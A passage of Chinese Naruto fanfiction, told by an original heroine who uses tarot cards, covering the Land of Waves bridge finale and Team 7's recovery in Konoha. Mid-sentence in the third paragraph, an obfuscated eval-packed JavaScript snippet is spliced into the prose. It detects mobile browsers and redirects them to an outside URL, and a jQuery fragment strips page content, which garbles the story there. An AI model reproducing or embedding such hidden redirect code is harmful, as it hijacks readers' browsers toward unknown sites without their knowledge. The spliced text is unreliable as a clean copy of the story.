我撑着发软的双腿,艰难地站起身,将这片充满复杂情绪的空间留给他们。带着满身的疲惫和一种难以言喻的沉重感,我走向了依旧呆立在原地、仿佛失去了魂魄的鸣人。 我抬起他布满擦伤和血迹的手臂,仔仔细细地检查。鸣人异常地安静、异常地顺从,任由我摆布,那双蓝眼睛里空茫一片,似乎还没从刚才的生死搏杀和佐助“死亡”的冲击中完全回神。好在,他身上那些看起来吓人的伤口,在九尾查克拉强大的恢复力下,竟然已经愈合了大半,只留下浅浅的痕迹。 鸣人似乎这才注意到我脸上的血污,他下意识地抬起手,用还算干净的衣袖,笨拙而轻柔地擦拭着我的脸颊。那小心翼翼的触碰,带着一种劫后余生的珍重。 我伸出手,轻轻按住了他为我擦拭的手,对他露出了一个疲惫却真实的微笑。 “……很棒,鸣人……真的……很棒……” 远处,卡卡西老师与再不斩的战斗也已接近尾声。在忍犬帕克的“土遁·追牙之术”精准定位下,卡卡西老师以重伤之躯,最终用苦无废掉了再不斩双臂的筋腱。斩首大刀沉重地跌落在地,再不斩双臂无力地垂下,再也无法结印,甚至连抬起都做不到。他像一头被拔去了利爪和獠牙的困兽,喘息着跪倒在地。 而卡多,这个一切的始作俑者,如同嗅到腐肉的秃鹫,带着一群手持农具、凶神恶煞的打手,恰到好处地出现了。他拄着拐杖,肥胖的脸上堆满了令人作呕的假笑,嘴里吐出一连串虚伪的“慰问”和毫不掩饰的威胁。我的耳朵因为之前的冲击和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16575535|187090||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 精神透支还在嗡嗡作响,他的大部分话语都变成了模糊的背景噪音,只捕捉到核心意思:达兹纳必须死,再不斩这个“失败的工具”也没有了利用价值,必须清除! 我松开鸣人的手,强撑着摇摇欲坠的身体,踱步走向卡卡西老师身边。我想用圣杯一的力量为他治疗那可怕的刀伤。卡卡西却猛地抬手,紧紧抓住了我的手腕!他的眉头锁得更紧,眼神锐利地审视着我惨白的脸色和虚浮的脚步,声音带着不容置疑的严厉 “别动!你的状态……很糟糕!” “卡卡西先生,我们暂时停手吧。” 再不斩喘息着,声音因为失血和剧痛而沙哑 “既然我已经不需要再杀达兹纳了……就没有理由……和你继续战斗下去了……” 他的目光越过卡卡西,落向被手下簇拥着的卡多,眼中充满了刻骨的仇恨。 卡多拄着拐杖,得意洋洋地踱步到白的尸体旁。他低头看着那张即使死去也依旧精致、此刻却沾满血污和冰屑的脸,眼中没有丝毫怜悯,只有无尽的轻蔑和报复的快意!他抬起穿着昂贵皮鞋的脚,狠狠地、带着侮辱性地踢了踢白的脸颊!那力道之大,让白的头无力地偏向一边。 “哼!死了也碍眼的废物!这就是你胆敢扭断我手腕的下场!” 卡多恶毒地咒骂着,仿佛在宣泄着之前被白轻易制服的屈辱。 “混蛋——!!!” 鸣人的怒吼如同受伤野兽的咆哮,在我身后炸响!他双眼赤红,身体猛地就要冲过去! “冷静点!鸣人!” 卡卡西眼疾手快,一把揪住了鸣人的后衣领,将他死死拽住。 我静静地站在一旁,像一个冷漠的旁观者,看着卡多导演的这场最后的闹剧。看着这个用金钱和阴谋将无数人推入深渊的恶魔,如何践踏一个已死之人的尊严。看着再不斩……这个曾经冷酷无情的“鬼人”,此刻低垂着头,身体微微颤抖,却依旧沉默得可怕。 鸣人无法理解!他无法理解为什么再不斩能如此平静地面对白的尸体被侮辱!为什么能对那个为他付出一切、甚至付出生命的“同伴”如此冷漠! “喂!那家伙!可是!非常!非常!喜欢你的啊!” 鸣人像一头被激怒的小狮子,在卡卡西的钳制下奋力挣扎,朝着再不斩嘶声力竭地咆哮! 再不斩的身体几不可察地颤抖了一下,但依旧没有抬头。 “但是!你真的无动于衷吗?!” 鸣人的声音带着哭腔,充满了不解和愤怒 “那家伙为了你!连命都不要了!连自己的梦想都没有……作为工具死去这种事……这种事……” 他的声音哽咽了,巨大的悲伤和愤怒让他几乎说不出完整的话,眼泪混着鼻涕汹涌而下 “这种事……实在是太痛苦了!!!” “小鬼……别再说了……” 再不斩的声音低沉沙哑,仿佛从喉咙深处艰难地挤出。他终于缓缓抬起了头。 泪水。 浑浊的泪水,如同决堤的洪水,正从这个以冷酷和残忍著称的“鬼人”眼中,不受控制地汹涌而出!划过他沾满血污和尘土的脸颊,滴落在冰冷的桥面上。那泪水里,有痛苦,有悔恨,有被压抑了太久太久、终于冲破冰封的情感洪流!他并非无动于衷,他只是在用最坚硬的铠甲,包裹那颗早已被白捂热、此刻却痛得支离破碎的心。 “鸣人……” 再不斩的声音带着一种奇异的平静和解脱,他看向鸣人,目光复杂 “……谢谢。” 他张开嘴,露出森白的牙齿,猛地咬住了自己嘴上缠绕的绷带!绷带被撕裂! “借我……你的手里剑用用!” 鸣人愣了一下,随即毫不犹豫地将手中的苦无奋力掷向再不斩! 再不斩猛地低头,用牙齿精准地叼住了飞来的苦无!锋利的刃口划破了他的嘴角,鲜血渗出,但他毫不在意!那双被泪水洗过的眼睛,此刻燃烧着比火焰更加炽烈、比寒冰更加决绝的光芒!他猛地扭转身躯,如同回光返照的猛虎,爆发出生命中最后、也是最璀璨的力量,叼着苦无,朝着人群中央的卡多,发起了最后的冲锋! “拦住他!快拦住他!” 卡多脸上的得意瞬间化为惊恐,尖声厉叫! 乌泱泱的人群骚动起来,锄头、草叉、棍棒纷纷举起!然而,此刻的再不斩,心中只剩下一个目标!他无视了所有砸向身体的攻击!疼痛?早已麻木!鲜血?尽情流淌!他的眼中只有卡多那张因恐惧而扭曲的肥脸! “噗嗤!” 苦无冰冷的刃尖,带着再不斩所有的恨意和不甘,精准地、深深地刺入了卡多的心脏! “呃!” 卡多脸上的惊恐凝固了,他难以置信地低下头,看着胸口那柄染血的苦无。一口混合着内脏碎块的鲜血从他口中狂喷而出! “废物……就该有废物的死法……” 卡多眼中闪过最后一丝怨毒,试图诅咒。 “闭嘴!” 再不斩叼着苦无的嘴发出含糊而暴戾的咆哮!他猛地拔出苦无,不顾身后如雨点般落下的各种武器狠狠刺入他的身体,再次狠狠地、疯狂地刺向卡多! “噗嗤!噗嗤!噗嗤——!” 一下!两下!三下……! 每一次刺入都带起一蓬血花!每一次拔出都伴随着卡多杀猪般的惨叫(很快变成了无力的嗬嗬声)!直到卡多被这疯狂的攻击彻底推搡着,从大桥的边缘,惨叫着跌落下去,消失在下方汹涌的海浪之中! 桥上的人群都被再不斩这不要命、如同恶鬼般的疯狂杀戮惊呆了!看着浑身插满了农具、如同刺猬般浴血的再不斩,他们手中的“武器”叮叮当当地掉落在地,下意识地为他让开了一条通往白的道路。 再不斩叼着苦无,踉踉跄跄地向前走着。每一步,都在桥面上留下一个触目惊心的血脚印。失血过多和剧痛让他的视线开始模糊,身体摇摇欲坠。在距离白的尸体只有几步之遥的地方,他终于支撑不住,重重地向前扑倒! “干……干掉他!抢了他的刀!抢了这里的钱!” 那群被吓呆的打手见再不斩倒下,短暂的寂静后,贪婪和凶性再次占了上风!他们叫嚣着,捡起地上的农具,蠢蠢欲动地想要冲过来抢夺再不斩的斩首大刀和想象中的“财宝”。 就在这混乱再起的时刻—— “住手!” 一声清脆却充满勇气的童音响起! 伊那利!他站在桥的另一端,小小的身躯挺得笔直!在他身后,是波之国大桥工地上的工人们,是津奈美,是达兹纳先生家的邻居,是整个波之国被压迫已久、此刻终于鼓起勇气站出来的村民们!他们手中拿着鱼叉、铁锹、甚至只是木棍,眼神中虽然还有恐惧,但更多的是决绝和团结的力量!他们像一道人墙,挡在了那群卡多打手的前方! “英雄……总是会姗姗来迟的!” 伊那利用力地喊着,眼中闪烁着与之前截然不同的光芒,那是希望被重新点燃的火种! 看着眼前这一幕,我心中百感交集。无奈地笑了笑,强压下身体的虚弱和精神的疲惫,掏出了那张『教皇』牌。虽然力量所剩无几,但虚张声势足够了! “分身之术!” 我低喝一声,同时将微弱的查克拉和精神力注入牌中。 刷!刷!刷! 几个模糊的、带着教皇牌金色光辉的分身出现在我身边,虽然远不如鸣人的分身凝实,但在光影效果下显得颇为唬人。 “哼!还有我呢!影分身之术!” 鸣人立刻明白了我的意图,抹掉脸上的泪痕,斗志再次燃烧!数十个鸣人分身瞬间出现,挤满了桥面! “加上我。” 卡卡西老师也强撑着,分出了数个分身,虽然脸色苍白,但气势不减。 局势瞬间逆转!数量庞大的“忍者”大军(虽然大部分是幻影和分身)出现在桥上,与村民们形成了合围之势!那群虚张声势的打手被这突如其来的“增援”彻底吓破了胆! “饶……饶命啊!” “我们错了!再也不敢了!” “快跑啊!” 他们哭爹喊娘,丢盔弃甲,如同丧家之犬般慌不择路地冲向停靠在桥边的船只,甚至有人因为太过惊慌,失足掉进了冰冷的海水里! “胜利了!” “我们赢了!” “大桥保住了!” 桥上,劫后余生的村民们爆发出震耳欲聋的欢呼!泪水与笑容交织在一起。这是属于波之国的胜利曙光! 卡卡西老师拖着沉重的步伐,走到倒在血泊中的再不斩身边。再不斩艰难地喘息着,每一次呼吸都带着血沫。他费力地抬起头,望向不远处白的尸体,那双曾充满杀气的眼睛,此刻只剩下无尽的疲惫和一丝……近乎卑微的祈求。 “让我……再看看那家伙的脸……可以吗……” 卡卡西老师沉默地看着眼前这个曾经令人闻风丧胆的“鬼人”,此刻却像一个走到生命尽头、只想再看一眼最重要之人的普通男人。他眼中闪过一丝复杂的光芒,有警惕,有怜悯,最终化为一种对生命终点的尊重。 “……好。” 卡卡西低沉地应了一声。他弯下腰,动作尽量轻柔地将再不斩身上那些简陋的“武器”一一拔除(每拔出一件,都带出更多的鲜血),然后,用尽力气将他抱了起来,一步步走向白的尸体。 天空,不知何时飘起了细密的雪花。洁白的雪片无声地落下,覆盖在冰冷的桥面,覆盖在斑驳的血迹上,像是上天为这对被命运捉弄的“工具”,奏响的一曲无声而纯净的悲歌。这是他们扭曲人生的终点,却也可能是灵魂获得解脱的起点。 我不受控制地跟了过去,每一步都沉重无比。忍者包里的塔罗牌,突然开始剧烈地发烫!我下意识地掏出牌堆查看。 嗡…… 一张牌自动滑落到我的掌心——圣杯十(Ten of Cups)。牌面上,是幸福的一家人在彩虹下欢聚,象征着圆满、和谐与灵魂的归宿。 是牌的指引吗?还是……我内心那“让所有人幸福”的不切实际的梦? 雪花飘舞,阳光艰难地穿透云层,洒下几缕金色的光柱。我手中的圣杯十,在这光与雪的交织中,骤然爆发出前所未有的、温暖而神圣的金色光芒!那光芒如此强烈,如此温暖,如同实质般流淌出来,轻柔地笼罩在再不斩和白紧紧靠在一起的躯体上。 我闭上双眼,集中最后的精神力,去感应那牌面传递的、超越生死的宏大信息流。 不再是冰冷的死亡画面。 是阳光灿烂的午后,在一个宁静祥和、开满野花的山坡上。 是再不斩放下了沉重的斩首大刀,不再是“鬼人”,只是一个面容坚毅却带着温和笑意的男人。 是白摘下了冰冷的面具,不再是“工具”,只是一个笑容纯净、眼神清澈如水的少年。 他们并肩坐在树下,没有任务,没有追杀,没有无休止的黑暗。阳光透过树叶的缝隙,洒在他们身上,温暖而宁静。他们似乎在轻声交谈,白偶尔会露出腼腆而幸福的笑容,再不斩的嘴角也带着从未有过的、放松而真实的弧度。 他们不再是主仆,不再是工具与使用者。他们是……彼此依靠、彼此理解的同伴?家人?亦或是……某种超越了世俗定义的羁绊。 画面中流淌着一种难以言喻的、纯粹的平和与满足。 这是……再不斩和白,在牌面所指引的、另一个维度世界里的……美好结局。一个没有杀戮、没有背叛、没有工具宿命,只有平静相伴的……永恒归宿。 我缓缓睁开眼睛,泪水无声地滑落。 现实中的桥面上,白身上的致命伤口并未消失,再不斩也依旧浑身浴血。但他们的脸上,那曾经被痛苦、冰冷和麻木所覆盖的神情,此刻却奇异地舒展开来。嘴角微微上扬,带着一种近乎安详的、解脱般的恬静微笑。他们的手,在圣杯十的光芒笼罩下,不知何时,已经紧紧地、十指相扣地握在了一起。 仿佛只是……在温暖的阳光下,沉沉睡去,携手走向了那个牌面所昭示的、充满爱与圆满的应许之地。 我站起身,巨大的眩晕感和精神力彻底抽空的虚脱感如同海啸般席卷而来!眼前一黑,身体不受控制地向后倒去! “小心!” 卡卡西老师染血却有力的手臂及时伸出,稳稳地接住了我瘫软的身体。他低头看着我因透支而惨白如纸的脸、毫无血色的嘴唇和紧闭的双眼,眼神中充满了前所未有的复杂情绪——震惊、探究、担忧,还有一丝难以言喻的……害怕? “……结束了……” 我靠在他染血的臂弯里,意识沉入黑暗前,只来得及吐出这三个字。那个“让所有人幸福”的结局……终究只存在于牌面的幻象和另一个世界。现实残酷,我所能做的,或许只是为他们指引一条通往灵魂安宁的道路……这,就是我的“忍道”能给出的,最接近“幸福”的答案了吗? 夕阳将天边染成一片温暖的橘红,如同熔化的金子,慷慨地洒在波之国大桥旁那片寂静的小山坡上。两座新堆起的、小小的坟茔相依而立,覆盖着新鲜的泥土和几束不知名的野花。阳光温柔地抚摸着它们,像是在进行一场无声的告别仪式,纪念着两个被世界遗弃、最终以最惨烈又最安宁方式获得解脱的灵魂——桃地再不斩,和白。 我静静地站在不远处,手中紧握着那副仿佛蕴藏着无尽秘密的塔罗牌。夕阳的余晖在光滑的牌面上跳跃,映出流动的光泽。牌堆深处,圣杯十的暖意似乎还未完全散去。我不再言语,心中反复咀嚼着那个关于“让所有人幸福”的命题。 复活他们?让他们在这个充满仇恨与追杀的忍界继续逃亡?不,那只会带来新的悲剧。或许,牌面所展示的,那个存在于精神维度或平行世界的、充满阳光与宁静的归宿,才是对他们扭曲人生最慈悲的救赎……即使这救赎,充满了无奈的妥协。 身边,鸣人、小樱、佐助,都沉默着。空气中弥漫着一种沉重而迷茫的氛围。他们刚刚经历了人生中最残酷的一课——忍者的世界,充满了杀戮、背叛和工具般的宿命。 佐助紧抿着唇,眼中翻涌着对力量、对仇恨更深的理解;小樱擦干了眼泪,眼神却依旧带着困惑和悲伤;鸣人低着头,拳头紧握,那总是充满阳光的脸上,此刻笼罩着一层阴影。卡卡西老师靠在一棵树下,胸口的伤经过紧急包扎,但脸色依旧苍白,他望着远方的海平线,目光深邃。 “我决定了!” 鸣人猛地抬起头,夕阳的金辉落在他湛蓝的瞳孔中,点燃了不屈的火焰!他用力地拍打着自己的胸膛,声音洪亮而坚定,打破了沉重的寂静 “我要走我自己的忍道!走一条属于我漩涡鸣人!永不后悔的路!勇往直前地走下去!直到成为火影!改变这个忍者世界!” 看着他眼中重新燃起的、比夕阳更加璀璨的光芒,我仿佛又看到了那个在木叶森林初遇时,在阳光下大喊“我要当火影”的笨蛋吊车尾;看到了那个在梦里月光下,为了证明“英雄存在”而拼命修炼的倔强少年。那份纯粹的信念,历经鲜血与死亡的洗礼,非但没有熄灭,反而淬炼得更加耀眼。 大桥终于建成了,横跨碧波,连接着波之国苦难的过去和充满希望的未来。我们的任务,也在此刻真正画上了句号。离别总是带着淡淡的忧伤。伊那利和津奈美、达兹纳以及波之国的村民们站在桥头,用力地向我们挥手告别,眼中充满了感激和不舍。 背起行囊,踏上归途。鸣人已经迫不及待地开始畅想回到木叶后要大吃一乐拉面,要如何向伊那利写信炫耀,那副活力满满的样子,仿佛已经将之前的阴霾甩在了身后。 我走在队伍的最后,回头望了一眼那座在夕阳下熠熠生辉的“勇气之桥”,又看了看手中温热的塔罗牌,最后,目光落在前方那个蹦蹦跳跳的橙色身影,以及他身边并肩而行的同伴身上。 脚下的道路在夕阳中延伸,逐渐变得宽阔明亮。 我深吸一口气,带着满身的疲惫、心灵的震撼以及对未来的不确定,却也怀揣着一份前所未有的清晰与坚定。 是的。 我也要找到一条属于自己的忍道。 一条或许艰难、或许天真、或许会被人嘲笑的道路。 一条……能让身边重要之人,感受到更多温暖与幸福的路。 无论前路如何,我都要像鸣人一样,勇往直前地走下去。 16. 『阳光、豆沙包』 波之国任务带来的沉重与牺牲,如同沉入深海的锚,在心底留下不可磨灭的印记。那咸腥的海风、冰冷的雨水、再不斩最后的血泪与白消逝的冰晶,偶尔会在夜深人静时,悄然爬上意识的堤岸。 然而,生活总要继续,木叶的阳光依旧明媚,带着一种劫后余生的、格外珍贵的暖意,仿佛能穿透皮肤,熨帖到灵魂深处。第七班,也需要在休整与沉淀中,重新找到前行的节奏,在看似平凡的日常里,缝合伤口,积蓄力量,让那名为“羁绊”的藤蔓,在阳光下缠绕得更加坚韧。 木叶医院特有的消毒水气味,总带着一丝冷冽。卡卡西老师被强制留在了三楼最安静的病房。他胸口的刀伤虽然避开了要害,但失血过多加上雷切和最后战斗的透支,让这位以“拷贝忍者”闻名的精英上忍也难得地显出了几分真实的虚弱。白色的墙壁、白色的床单,与他平时懒散,沉迷《亲热天堂》的形象格格不入,甚至透出一种令人不适的脆弱感。 这天下午,阳光正好,慷慨地透过宽大的窗户洒进来,在洁净的地板上投下温暖的光斑,也将洁白的床单染上一层融融的金色。我、鸣人、小樱,还有难得没有单独行动的佐助,一起出现在病房门口。鸣人怀里抱着一大堆东西——有路上买的慰问品(主要是各种口味的泡面和丸子,堆得摇摇欲坠),有小樱精心挑选的、散发着淡淡清香的白色雏菊和紫色鸢尾(她特意查了花语,雏菊是“希望”,鸢尾是“好消息”),佐助则拿着一本崭新的、包装都未拆的《亲热天堂》(据说是三代目“体恤下属”的“慰问品”,佐助递过去时,脸上带着一丝不易察觉的僵硬),而我,手里则是一小盒刚从老字号出炉的、散发着诱人甜香的豆沙包,只是路过的时候,顺手买的,温热透过纸盒传到手心。 “哟,都来了?” 卡卡西老师靠在摇起的床头,露出的那只眼睛弯成了熟悉的月牙形,虽然脸色还有些失血后的苍白,嘴唇也缺乏血色,但精神看起来比前几天好了许多 “这么大阵仗,是要来探望病人,还是来瓜分我的慰问品?尤其是鸣人,你怀里那堆泡面,怎么看都像是给自己储备的粮草。” “当然是探望卡卡西老师啦!” 鸣人永远是第一个冲进去的,他咋咋呼呼地把东西一股脑堆在床头柜上,差点把插着花的花瓶碰倒,被眼疾手快的小樱一把扶住 “卡卡西老师!你感觉怎么样?伤口还疼不疼?什么时候能出院?我们第七班可不能没有你啊!没有你带队,连清理河道垃圾的任务都变得好无聊!” 他湛蓝的眼睛里满是真诚的担忧和毫不掩饰的依赖。 “白痴,安静点。” 佐助皱着眉,把《亲热天堂》放在卡卡西触手可及的床边柜上 “这里是医院,而且卡卡西老师需要休息。” 话虽冷淡,带着惯有的疏离,但他的眼神却像最精密的仪器,仔细地、不动声色地扫过卡卡西胸口的绷带,评估着纱布的洁净程度和下方隐约透出的血色深浅,紧绷的下颌线条似乎也放松了一点点。 小樱把花小心地插进窗台边的清水花瓶里,细心地调整着花朵的位置,让阳光能更好地照亮它们 “卡卡西老师,这是我和旁听生一起挑的花。雏菊代表希望,鸢尾是好消息,希望您心情能好一点,也祝愿您早日康复。医生今天查房时说恢复得很好,炎症控制住了,伤口愈合速度也比预期快,但还是要多休息,不能急着活动。” 她汇报得像个专业的小护士,语气里是满满的关切。 我把温热的豆沙包纸盒递过去 “刚出炉的,您喜欢的甜度,红豆沙磨得很细。” 纸盒上还带着特有的可爱印章。 卡卡西的目光在我们四人身上一一扫过,那只总是显得漫不经心、甚至带着点戏谑的眼睛里,此刻流淌着一种温和而真实的暖意,像冬日里融化的雪水,无声地滋润着。 “啊……谢谢大家。” 他接过豆沙包,修长的手指揭开盒盖,甜香瞬间更加浓郁。他拿起一个,咬了一口,满足地眯起眼,仿佛品尝的不是简单的点心,而是难得的珍馐 “嗯,味道真棒……有你们在,感觉连消毒水的味道都变好闻了,伤口也痒痒的,是愈合的信号吧?” 他难得地开了个轻松的小玩笑。 病房里顿时充满了轻松愉快的氛围。鸣人迫不及待地占据床边的椅子,开始眉飞色舞地讲述回村后他如何被伊鲁卡老师拍着肩膀表扬(虽然伊鲁卡主要是欣慰于他终于掌握了爬树和踩水,以及任务中表现出的“勇气”),又如何在一乐拉面店里唾沫横飞地向手打大叔和菖蒲姐姐吹嘘波之国的“英雄事迹”,把再不斩描述得有三层楼那么高,把自己和佐助的配合说得惊天地泣鬼神,惹得周围的食客都频频侧目。 小樱则坐在另一张椅子上,分享着在其他地方时遇到的趣事,佐助虽然话不多,只是安静地靠在窗边,但也偶尔插一两句关于训练场新布置的障碍设施,语气平淡,却是在认真地参与着这场探望。 我安静地坐在窗边的另一张椅子上,手中捧着护士小姐好心倒的一杯温水,看着这温馨得有些不真实的一幕。阳光慷慨地洒落,落在卡卡西老师银色的发丝上,跳跃着细碎的光点;落在他手中咬了一半、露出细腻红豆沙馅的豆沙包上,显得格外诱人;也落在同伴们生动活泼的脸上——鸣人兴奋时挥舞的手,小樱说话时微微泛红的脸颊,佐助侧脸冷硬线条在阳光下意外的柔和。劫后余生的平静与同伴间毫无保留的羁绊,像汩汩的暖流,温柔而坚定地驱散着心底残留的最后一丝寒意与沉重。 就在这时,忍者包里的塔罗牌传来一阵熟悉的、温和而持续的脉动,如同心脏在布料下轻轻搏动。我悄悄将手按在包外侧,闭上眼,意念沉入那片独属于我的精神视界。无需刻意抽取,『教皇』牌的金辉自然而然地亮起,它并非最强大的力量之牌,却在此刻散发着最契合的秩序、抚慰与祝福之光。 我有尝试去直接治疗卡卡西的物理伤口(但卡卡西老师死活不肯允许我这样做),而那张牌,开始小心翼翼地引导着我。 这股温和的能量,如同无形却带着暖意的春风,轻柔地拂过病房的每一个角落,拂过卡卡西因失血和疼痛而略显疲惫的神经末梢,拂过他伤口边缘正在努力工作的新生细胞,带来更深层的安宁、平和的休憩以及加速愈合的无声祝福。这能量并非医疗忍术的查克拉,更像是一种精神层面的共鸣与加持,源自牌意本身对“疗愈”与“守护”的诠释。 卡卡西老师似有所觉。他微微侧过头,那只露出的眼睛精准地看向我,不再是平常的慵懒或调侃,而是带着一丝了然、一份不易察觉的感慨,以及更深层次的探究。 他什么也没说,只是又咬了一口豆沙包,脸上的神情在阳光和那无形能量的双重作用下,显得更加放松,甚至有种卸下部分重担的释然。阳光,豆沙包的甜香,同伴们压低音量的笑语,还有『教皇』牌无声的、充满秩序的守护……这一刻的病房,隔绝了外界的纷扰,成为了波之国血色硝烟之后,最珍贵、最宁静的避风港。时间仿佛在这里流淌得格外缓慢,只为让这份来之不易的温暖,在每个人的心头多驻留片刻。 离开医院消毒水的气味,外面的空气带着初夏特有的草木芬芳和阳光晒过泥土的暖意。鸣人显得格外兴奋,仿佛刚才在病房里安静倾听的样子只是错觉。他一出医院大门就一把拉住我的胳膊,力气大得惊人 “大姐头!卡卡西老师看起来真的好多了!脸上都有血色了!走走走,我们去慰灵碑那边!我有很重要很重要的事要跟你说!憋了一下午了!” 慰灵碑公园位于木叶相对僻静的一隅,高大的石碑沉默伫立,灰白色的石质在阳光下显得肃穆而庄重,上面密密麻麻地刻着为村子牺牲的忍者名字。风穿过周围茂密的树林,发出连绵不绝的沙沙声响,带来沁人心脾的清新气息。这里既是缅怀之地,现在也是鸣人思考、倾诉,或者单纯晒太阳、发呆的地方。墓碑的冰冷与少年的鲜活,在这里形成一种奇异的平衡。 鸣人拉着我在慰灵碑前不远处的草地上坐下,背靠着一棵枝繁叶茂的橡树,浓密的树荫带来一片阴凉。他先是沉默了一会儿,盘着腿,双手放在膝盖上,难得的安静。他抬起头,目光不是落在慰灵碑上某个具体的名字,而是穿透了那冰冷的石头,望向更远的地方,眼神不像平时那样跳脱闪耀,反而带着一种与他年龄不符的沉静,甚至有一丝迷茫。 “姐,” 他忽然开口,声音很轻,却很认真,每一个字都像是仔细斟酌过 “波之国……白和再不斩……还有卡卡西老师为了保护我们受的伤……我看到了好多东西。” 他顿了顿,似乎在努力梳理脑海中那些复杂纷乱、甚至互相矛盾的画面和感受 “以前,我只知道要当火影,要让所有人都认可我。我觉得当火影就是最强,最厉害,大家都听我的,都喜欢我。可是……火影到底是什么样的?他每天到底要做什么?要面对什么?我好像……有点明白了,又好像更不明白了。” 我静静地听着,没有打断他。我知道,波之国的经历,尤其是白的牺牲和再不斩临死前那滴混着血与泪的复杂眼神,对鸣人那颗纯真、非黑即白的心灵造成了巨大的冲击。他开始懵懂地触摸到忍者世界残酷表象下的复杂肌理,思考那些超越力量本身的、更沉重也更深刻的东西。 “火影……是要保护大家的人吧?” 鸣人转过头,湛蓝的眼睛像被水洗过的天空,清澈见底,此刻却映照着困惑与初生的坚定 “像卡卡西老师保护我们和达兹纳爷爷,像你关键时刻保护卡卡西老师……也像……” 他声音低了下去,带着浓重的鼻音和无法掩饰的难过 “像白想保护再不斩那样。可是……保护别人,有时候要战斗,要……要杀人。这真的对吗?这真的是英雄应该做的事吗?白……他保护了再不斩,可他……他死了……” 他的问题直指忍者世界最核心、也最无解的伦理困境——守护与杀戮的悖论。 微风拂过草地,带来树叶的低语。我轻轻叹了口气,伸出手,像之前那样揉了揉他那一头总是乱糟糟、充满生命力的金发。 “鸣人,这个世界上的事情,很多时候没有绝对的对错,就像树叶有向阳面也有背阴面。火影的责任,是守护村子的和平与未来,让像伊那利那样的小孩子,不用再经历失去亲人的痛苦,能自由地笑,自由地生活,自由地追逐梦想。这份守护,需要强大的力量作为盾牌,也需要看清迷雾的智慧作为指引,更需要一颗永不放弃、能够理解他人痛苦、并愿意为之付出一切的、炽热的心。” 我看着他懵懂又执着的眼睛,尽量用他能理解的语言解释。 我从忍者包里拿出那副陪伴我许久的塔罗牌,没有抽牌,只是将整副牌放在膝上,让光滑的牌背在斑驳的树影下泛着温润内敛的光 “你看这些牌,每一张都有不同的意义,有象征力量与征服的『战车』,有象征智慧与神秘的『女祭司』,有象征牺牲与换位思考的『倒吊人』,也有象征圆满、和谐与家庭幸福的『圣杯十』。火影的道路,就像解读一副复杂无比、瞬息万变的牌阵,需要理解并驾驭各种不同的力量,需要在不同的情境下做出最艰难也最必要的选择。但最重要的,” 我指了指自己心口的位置 “是这里。你的本心是什么?你真正想要守护的是什么?力量只是工具,锋利却冰冷;心才是方向,是驱动一切、赋予其意义的火焰。” 鸣人似懂非懂地看着那些神秘的牌背,又看看我,眉头时而紧锁时而舒展。阳光透过树叶缝隙,在他脸上投下晃动的光斑。最后,他用力地点点头,金发随之晃动 “虽然还是有点复杂……像伊鲁卡老师讲的理论课一样难懂……但我好像抓住一点了!力量很重要!没有力量就保护不了任何人!但更重要的是用它来保护重要的人!让大家都开开心心的,能安心地生活!就像……就像波之国大桥最后建成时那样!大家在一起笑!伊那利笑得最大声!” 他的情绪如同被点燃的火焰,瞬间又高涨起来,眼睛亮得惊人,驱散了刚才的迷茫阴霾。 “所以!我决定了!” 鸣人猛地站起来,双手叉腰,挺起胸膛,一脸雄心壮志,仿佛要立刻去竞选火影, “我要守护,守护着我身边人的所有笑容,让他们都幸福的笑!” 他宣布道,声音洪亮得惊飞了树上的几只鸟。 “哦?那很庞大了?”我被他这突如其来的、充满“鸣人特色”的转折逗笑了,刚才沉重的氛围一扫而空。 “唔,反正,我想要姐一直笑下去,佐助那家伙虽然整天臭屁着一张脸,但……勉强划入我的保护范围,小樱也是!” 他深吸一口气,气势如虹 “反正,我想要让所有让木叶村民不开心、有烦恼的事情,统统解决掉!比如帮隔壁街区的山田老奶奶找她那只总爱离家出走的三花猫‘小虎’!教训集市上那些欺负摆摊老婆婆的坏蛋混混!帮孤儿院修好漏雨的屋顶!还要……” 他顿了顿,露出一个狡黠又充满“野心”的笑容 “让一乐大叔的拉面更便宜一点!最好能半价!这样我和姐就能天天去吃了!” 这“大计划”充满了鸣人式的天真烂漫、直率热情和一点点不切实际的“商业野心”。我忍不住笑出声,肩膀都跟着抖动 “噗……听起来……目标明确,而且非常了不起啊!不过,……” 我努力憋着笑 “让一乐大叔降价这个宏伟目标,可能有点难度哦?大叔也要养家糊口的。” “包在我身上!” 鸣人把胸脯拍得砰砰响,仿佛那里面装着无尽的信心 “我可是要成为火影的男人!说服一个大叔算什么!动之以情,晓之以理!姐,你支持我的吧?!” 他凑近我,湛蓝的眼睛睁得大大的,里面充满了孩子气的期待和不容置疑的信任。 看着他这副模样,那份纯粹的、想要把悲伤转化为行动、用双手去创造笑容的热情是如此耀眼,如此具有感染力。也许这个计划很孩子气,很不成熟,甚至有些异想天开,但这正是漩涡鸣人最可贵、最不可替代的地方——他总能将沉重的思考、痛苦的经历,转化为积极向前的动力,用最纯粹的热情去点燃希望,照亮身边人的阴霾。这份心,比任何完美的计划都珍贵。 “当然支持!” 我笑着用力点头,如同许下一个郑重的承诺, 阳光透过摇曳的树叶,在我们身上洒下跳跃的光斑,暖洋洋的。慰灵碑的肃穆庄重与鸣人身上蓬勃而出的生机与希望,在此刻奇异地融合在一起,形成一种独特的力量感。未来或许依旧充满荆棘与挑战,但看着眼前这个元气满满、眼神坚定的金发少年,心中便不由自主地充满了力量,仿佛他本身就是一轮小小的、永不熄灭的太阳。 卡卡西老师还需要一段时间的休养和观察,但第七班的训练绝不能因此落下。在卡卡西老师的安排下,我们几个人,暂时由我来接手,(我并不知道卡卡西老师为什么要让我做这种事情)然而,真正的第七班团队配合、战术演练以及查克拉属性间的磨合,更多还是依靠我们自己在日常训练中摸索、碰撞、再调整。 木叶第三训练场。午后的阳光愈发灼热,毫不留情地炙烤着大地,训练场边缘的树木都显得有些蔫头耷脑,蝉鸣声此起彼伏,单调而聒噪,更添几分燥热。 “佐助!你太快了!配合!配合懂不懂啊!” 